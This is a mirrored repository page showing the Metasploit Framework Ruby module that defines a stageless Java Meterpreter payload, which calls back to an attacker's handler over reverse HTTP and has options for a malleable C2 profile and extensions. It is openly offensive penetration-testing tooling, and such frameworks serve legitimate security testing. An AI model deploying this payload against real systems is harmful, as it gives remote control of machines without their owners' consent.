/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
modules/payloads/singles/java/meterpreter_reverse_http.rb
37 строк
1 KB
OJ
Add support for stageless extension wiring
16 июл 2026, 19:56
16 июл 2026, 19:56
29be383
Код
Авторство
О чём код?
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## module MetasploitModule CachedSize = :dynamic include Msf::Payload::Single include Msf::Payload::Java::ReverseHttp include Msf::Payload::Java::MeterpreterLoader def initialize(info = {}) super( merge_info( info, 'Name' => 'Java Meterpreter, Reverse HTTP Stageless', 'Description' => 'Run a meterpreter server in Java. Reverse HTTP. Self-contained jar.', 'Author' => ['mihi', 'egypt', 'OJ Reeves'], 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Handler' => Msf::Handler::ReverseHttp, 'License' => MSF_LICENSE, 'Session' => Msf::Sessions::Meterpreter_Java_Java ) ) register_options([ OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) ]) end def generate_jar(opts = {}) super(opts.merge(stageless: true, c2_profile: datastore['MALLEABLEC2'], extensions: (datastore['EXTENSIONS'] || '').split(','))) end end